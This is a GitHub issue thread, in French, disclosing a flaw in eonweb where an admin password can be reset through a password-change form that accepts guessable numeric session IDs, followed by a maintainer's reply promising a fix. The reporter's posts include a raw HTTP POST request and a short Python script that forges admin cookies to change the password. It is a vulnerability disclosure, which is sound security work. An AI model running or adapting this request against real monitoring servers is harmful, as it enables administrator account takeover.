Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Modif de password admin via compte sans privilège. #82

Open
ArianeBlow opened this issue Jan 4, 2021 · 3 comments
Open

Modif de password admin via compte sans privilège. #82

ArianeBlow opened this issue Jan 4, 2021 · 3 comments
Assignees

Comments

@ArianeBlow
Copy link

ArianeBlow commented Jan 4, 2021

Hello,

Lors d'un audit, j'ai pu modifier le password admin de l'appli a partir d'un compte sans privilège.

Le FORM de modification de mot de passe ne demande pas le MDP actuel, si l'on connait le nom du compte "admin" et qu'on a un accès initial (même sans privilège) à l'application, il devient possible de changer le MDP d'un compte donné car les ID de sessions sont écrient en base, ne comportent que du NUMERIC et contiennent en 9 et 10 caractères (si on a un accès a la base, c'est même très simple, il suffit de prendre le dernier "session_id" de "l'user_id 1" puis d'envoyer la requête POST suivante :


POST /module/module_password/index.php HTTP/1.1
Host: IP du nagios
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://IP_NAGIOS/module/module_password/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Origin: https://IP_NAGIOS
DNT: 1
Connection: close
Cookie: session_id=ID_DE_SESSION; user_name=USERNAME_a_modifier_selon_les_cas; user_id=1; user_limitation=0; group_id=1
Upgrade-Insecure-Requests: 1

user_password1=NOUVEAU_MDP&user_password2=NOUVEAU_MDP&update=update


Il devient trivial à partir de l'à de brut-forcer l'ID de session avec des strings aléatoire contenants entre 9 et 10 char NUMERIC et de mofidifier le MDP à sa guise.

(testé sur eon 5.3 / mariaDB: 5.5.65)

@ArianeBlow
Copy link
Author

Oh en faite j'ai pas besoin d'être authentifié, suffit de balancer la requête on the wild :

import requests
import random

headers = {
"POST": "/module/module_password/index.php HTTP/1.1",
"Referer": "https://192.168.0.26/module/module_password/index.php",
"Accept": "text/html,application/xhtml+xml,application/",
"Accept-Language": "en-US,en;q=0.5",
"Content-Type": "application/x-www-form-urlencoded",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) ",
"Accept-Encoding": "gzip, deflate",
"Host": "192.168.0.26",
"Content-Length": "61",
"Connection": "close",
"Origin": "https://192.168.0.26",
#Ici le random :
"Cookie": "session_id=RANDOM; user_name=admin; user_id=1; user_limitation=0; group_id=1"
}
data = "user_password1=s3cuR€Pa$$w0rd&user_password2=s3cuR€Pa$$w0rd&update=update"
url = "https://192.168.0.26/module/module_password/index.php"

request = requests.post(url, headers=headers, data=data, verify=False)

rep = request
print (rep.content)

@OscarPoels
Copy link
Contributor

Bonjour,
Le fait que vous pouviez effectuer ces actions sans mot de passe au préalable est tout à fait normal, ces actions sont protégées par la sessions_id qui sert d'authentification. Sinon tous les modules seraient impactés, il n'y aurait pas que la modification du mot de passe qui le serait.
En revanche, comme vous l'avez dit cette dernière n'est pas suffisamment sécurisé, elle peut de ce fait être brut force. C'est pourquoi une mise à jour va être réalisé dans les temps à venir. Cette mise à jour est en cours de vérification et nécessite la modification de la base de données, elle ne pourra donc être disponible que dans la prochaine version d'eonweb et tous les utilisateurs seront invités à effectué un yum update au moment de sa sortie.
Merci de l'intérêt que vous portez à eonweb et pour votre contribution
Nous restons disponible pour tout autre question

@ArianeBlow
Copy link
Author

Bonjour,

Est il possible de purger la table "sessions" via un cron pour qu'il n'y ait plus de session_ID écrient en dur ou il y a t-il quelque chose qui s'appui sur la dessus ? (ca permettrait de blinder la chose avec la modif que vous avez faite). Merci d'avance.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants